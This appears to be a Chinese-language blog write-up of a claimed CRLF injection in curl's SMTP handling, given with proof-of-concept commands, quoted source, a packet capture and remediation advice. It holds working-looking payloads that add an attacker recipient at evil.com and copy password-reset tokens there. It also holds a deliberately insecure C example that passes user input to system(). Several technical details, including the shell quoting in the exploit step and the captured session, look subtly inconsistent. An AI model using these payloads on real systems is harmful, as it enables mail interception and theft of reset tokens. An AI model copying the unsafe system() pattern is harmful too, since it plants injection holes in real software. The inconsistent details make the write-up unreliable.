curl/libcurl SMTP CRLF注入漏洞分析与利用

本文详细分析了curl/libcurl中存在的SMTP CRLF注入漏洞,攻击者可通过在MAIL FROM/RCPT TO参数中插入CRLF字符注入任意SMTP命令,实现未授权邮件拦截和信息泄露。包含技术细节、PoC代码和实际利用场景。

SMTP CRLF注入漏洞在curl/libcurl中的分析与利用

漏洞概述

curl/libcurl的SMTP实现中存在CRLF注入漏洞,攻击者可通过在邮箱地址中包含回车符(\r)和换行符(\n)来注入任意SMTP命令。

漏洞ID

  • CURL-SMTP-CRLF-2024
  • CWE-93: 不恰当的中和CRLF序列

受影响版本

  • curl 8.17.0(最新稳定版)- 确认受影响
  • 早期版本可能受影响

概念验证

漏洞利用命令

1
2
3
4
5
# 易受攻击的命令 - 添加未授权收件人
curl --url "smtp://localhost:2525" \
  --mail-from $'legit@company.com\r\nRCPT TO:<attacker@evil.com>' \
  --mail-rcpt "employee@company.com" \
  --upload-file message.txt

技术细节

漏洞代码位置

lib/smtp.c(第838-846行)

1
2
3
4
5
6
7
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s", 
    from,  // ← 无CRLF验证
    auth ? " AUTH=" : "", 
    auth ? auth : "", 
    size ? " SIZE=" : "", 
    size ? size : "", 
    utf8 ? " SMTPUTF8" : "");

原始网络分析证据

1
2
HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0a
TEXT: 'MAIL FROM:<final@test.com\r\nRCPT TO:proof@evil.com>\r\n'

复现环境

  • 操作系统:Linux
  • curl版本:8.17.0
  • Python:3.11(用于测试服务器)
  • 测试方法:本地SMTP服务器分析

影响

  • 信息泄露:未授权邮件复制
  • 隐私侵犯:秘密邮件拦截
  • 访问控制绕过:规避应用级限制
  • 任意命令注入:潜在的进一步SMTP协议操作

修复建议

  • 输入验证:拒绝包含控制字符的邮箱地址
  • 字符转义:正确转义CR/LF序列
  • 库补丁:实现类似于lib/cookie.c的验证

实际利用演示

步骤1:易受攻击的应用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// 示例:Web应用中的密码重置功能
void send_password_reset(const char *username) {
    char email[256];
    snprintf(email, sizeof(email), "%s@company.com", username);

    // 不安全:用户输入直接传递给curl
    char command[512];
    snprintf(command, sizeof(command),
        "curl --mail-from 'noreply@company.com' "
        "--mail-rcpt '%s' "
        "--upload-file reset_email.txt",
        email);
    system(command);
}

步骤2:攻击者利用

1
2
3
4
5
6
7
# 攻击者注册用户名:"admin\r\nRCPT TO:<hacker@evil.com>"
# 应用构建:admin\r\nRCPT TO:<hacker@evil.com>@company.com

# 生成的curl命令:
curl --mail-from 'noreply@company.com' \
     --mail-rcpt 'admin\r\nRCPT TO:<hacker@evil.com>@company.com' \
     --upload-file reset_email.txt

步骤3:SMTP会话结果

1
2
3
4
5
6
MAIL FROM:<noreply@company.com>
RCPT TO:<admin
RCPT TO:<hacker@evil.com>@company.com>  ← 注入的命令!
DATA
Subject: Password Reset
Your reset token: ABC123

技术对比

lib/cookie.c中的安全实现

1
2
3
4
5
6
7
8
9
static bool invalid_octets(const char *ptr) {
    // 明确拒绝CR/LF以确保安全
    while(*ptr) {
        if(((*ptr != 9) && (*ptr < 0x20)) || (*ptr == 0x7f))
            return TRUE;  // ← 安全
        ptr++;
    }
    return FALSE;
}

lib/smtp.c中的漏洞实现

1
2
3
// 无验证 - 允许CR/LF注入
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);
// ↑ 易受攻击

参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计